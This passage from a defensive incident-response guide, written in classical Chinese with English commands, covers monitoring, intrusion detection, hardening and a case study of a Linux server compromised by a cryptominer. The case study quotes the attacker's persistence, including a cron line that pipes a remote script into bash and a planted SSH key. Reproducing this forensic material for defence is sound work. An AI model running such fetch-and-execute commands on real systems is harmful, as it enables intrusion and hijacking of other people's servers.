│   syslog,           Filebeat,             Splunk, Datadog,      │
│   nginx.log)        Logstash)             Wazuh)                │
│                                                ↓                │
│                                        Alert Rules              │
│                                        - Root login             │
│                                        - New user created       │
│                                        - Port scan detected     │
│                                        - Auth failure spike     │
└─────────────────────────────────────────────────────────────────┘

入全景模式 出全屏模式

设警讯,至少如左:

  • 根登录
  • 新用户之创或权势之升
  • SSH登录失败逾阈(如>60秒内逾__JHSNS_SEG_bd339fff_460__10次)
  • 自新/未知IP地址之成功登录
  • 安全服务之失效(auditd已止,fail2ban已止)

8.5 入侵之侦(IDS/IPS)

# Install and configure Wazuh agent (open-source HIDS/SIEM)
# Wazuh monitors files, logs, processes, and vulnerabilities in real time
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add -
echo "deb https://packages.wazuh.com/4.x/apt/ stable main" \
  | tee /etc/apt/sources.list.d/wazuh.list
apt update && apt install wazuh-agent

# Configure Wazuh manager connection
sed -i "s|MANAGER_IP|YOUR_WAZUH_MANAGER_IP|g" /var/ossec/etc/ossec.conf
systemctl enable wazuh-agent && systemctl start wazuh-agent

入全景模式 離全屏模式

8.6 檔案完整性監控(FIM)

# AIDE — Advanced Intrusion Detection Environment
apt install aide

# Initialize the AIDE database (baseline snapshot)
aideinit
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# Run a check (compare current state to baseline)
aide --check

# Automate daily checks
echo "0 2 * * * root /usr/bin/aide --check | mail -s 'AIDE Report' security@yourcompany.com" \
  >> /etc/crontab

進入全屏模式 離全屏模式

8.7 備份策略

┌─────────────────────────────────────────────────────┐
│              THE 3-2-1 BACKUP RULE                  │
│                                                     │
│  3  copies of your data                             │
│  2  different storage media/services                │
│  1  copy offsite / air-gapped                       │
│                                                     │
│  For cloud servers:                                 │
│  ─ Daily automated EBS snapshots                    │
│  ─ Weekly cross-region backup copy                  │
│  ─ Monthly export to immutable cold storage         │
│  ─ Test restores quarterly                          │
└─────────────────────────────────────────────────────┘

進入全屏模式 離全屏模式

8.8 強化攻擊面

# Disable unused services
systemctl list-units --type=service --state=running
systemctl disable --now bluetooth avahi-daemon cups  # Examples of unneeded services

# Close unused ports with UFW
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp    # SSH
ufw allow 443/tcp   # HTTPS
ufw allow 80/tcp    # HTTP
ufw enable

# Disable IPv6 if not needed
echo "net.ipv6.conf.all.disable_ipv6 = 1" >> /etc/sysctl.conf
sysctl -p

# Restrict access to the metadata service (AWS IMDS v2 only)
aws ec2 modify-instance-metadata-options \
  --instance-id i-YOUR_INSTANCE_ID \
  --http-tokens required \
  --http-endpoint enabled

進入全屏模式 離全屏模式


9. 世事之例:察Linux之服务器已遭侵

其境

初创公司之Node.js API服务器于AWS EC2(Ubuntu 22.04)渐显异状。值班工程师觉服务器之CPU达95%,而API之流量未增。其后续之查察如是.


T+0:00 — 初警

監視系統(Datadog)發CPU警報。工程師SSH登入:

$ top
# Output shows a process named "kworkerds" consuming 92% CPU
# This is NOT a real kernel worker — it's disguised malware

全屏模式 退出全屏模式

T+0:05 — 勘查程序

$ ps aux | grep kworkerds
nobody  14782  92.1  0.2  /tmp/.cache/kworkerds -o pool.monero.hashvault.pro:443 -u <wallet>

# Immediately suspicious: running from /tmp, connecting to a Monero mining pool
$ ls -la /tmp/.cache/
total 2896
drwxr-xr-x 2 nobody nogroup  4096 Jan 15 03:12 .
-rwxr-xr-x 1 nobody nogroup 2.9M Jan 15 03:11 kworkerds

全屏模式 退出全屏模式

T+0:08 — 勘查網絡

$ ss -tnp | grep 14782
ESTAB  0  0  10.0.1.45:52441  195.201.x.x:443  users:(("kworkerds",pid=14782))
# Outbound connection to a known mining pool IP

全屏模式 退出全屏模式

T+0:10 — 寻觅入口

$ grep "Jan 15 03:" /var/log/auth.log
Jan 15 03:08:22 sshd: Failed password for root from 91.108.x.x port 44213
# ... 847 more failed lines ...
Jan 15 03:11:47 sshd: Accepted password for nobody from 91.108.x.x port 52109

全屏模式 退出全屏模式

根本原因已明:nobody用户密码薄弱,且SSH密码认证已启攻击者四分钟内即暴力破解之

T+0:15 — 寻觅持久

$ crontab -l -u nobody
* * * * * curl -s http://91.108.x.x/update.sh | bash

$ cat ~/.ssh/authorized_keys  # Check under nobody's home
ssh-rsa AAAAB3NzaC1... attacker@kali
# Attacker's SSH key planted for persistent re-entry

进入全屏模式 退出全屏模式

T+0:20 — 响应

  1. AWS安全组更新,拒绝所有进出,唯工程师IP得入
  2. EBS快照已取
  3. 恶意进程已杀kill -9 14782
  4. 攻击者SSH密钥自authorized_keys
  5. 恶意cron任务已除
  6. 二进制文件已删rm -rf /tmp/.cache/
  7. nobody用户密码重置,SSH密码认证禁用
  8. fail2ban已安装并配置
  9. 身后之期已定

施用之效:

  • SSH密码认证已废疾于诸服务器上
  • fail2ban遍及全舰而施之
  • nobody用户被锁定于SSHusermod -s /sbin/nologin nobody
  • 授权流程之基线已增入SIEM,以侦异状
  • 账户启AWS GuardDuty——此可于数分钟内标示出加密挖矿之连结

10. 结论——DICRP框架

凡服务器之变,无论轻重,皆循五阶段之生命周期。具此心智模型,则可免于未明其范围,遽行补救之策。

┌───────────────────────────────────────────────────────────────────────────┐
│                         THE DICRP FRAMEWORK                               │
│                                                                           │
│  ┌─────────┐   ┌───────────┐   ┌─────────┐   ┌─────────┐   ┌─────────┐  │
│  │  DETECT │──►│INVESTIGATE│──►│ CONTAIN │──►│ RECOVER │──►│ PREVENT │  │
│  └─────────┘   └───────────┘   └─────────┘   └─────────┘   └─────────┘  │
│                                                                           │
│  Detect        Investigate     Contain         Recover        Prevent     │
│  ─────────     ───────────     ───────         ───────        ───────     │
│  Monitoring    Preserve        Isolate         Restore        Harden      │
│  Alerts        evidence        server          from backup    SSH         │
│  Log review    ID access       Kill sessions   Patch vuln     Enable MFA  │
│  Anomalies     vector          Rotate creds    Verify         FIM         │
│                Timeline        Scope blast     integrity      IDS/SIEM    │
│                Persistence     radius          Resume ops     Least priv  │
└───────────────────────────────────────────────────────────────────────────┘

Enter fullscreen mode Exit fullscreen mode

服务器失守非止技术之事,实乃商业之变,关乎法理、声名与财利。处置最善者,非未遭攻击者,乃事先思虑周全、临变从容者。

善察之,勤演之,明录之。攻者幸得一次,尔需无时不备。


速查卡__

FIRST 10 MINUTES CHECKLIST
────────────────────────────────────────────────────────────────────
☐ Take a cloud disk snapshot BEFORE doing anything else
☐ Run: ps aux --sort=-%cpu | head -20
☐ Run: ss -tulpn
☐ Run: last -n 50 -a
☐ Run: grep "Accepted" /var/log/auth.log | tail -30
☐ Run: find / -mtime -1 -type f -not -path "/proc/*" 2>/dev/null | head -20
☐ Check: crontab -l && ls /etc/cron.d/
☐ Check: cat ~/.ssh/authorized_keys (for all users)
☐ Isolate server (update security group / iptables)
☐ Notify your incident response team
────────────────────────────────────────────────────────────────────

全屏模式__ 退出全屏模式__


是文载述今之善法,时在二四之仲。然患景迁流,无有止息——须时时核验CVE、工器、日志之径,以合汝之OS版本及云供之文。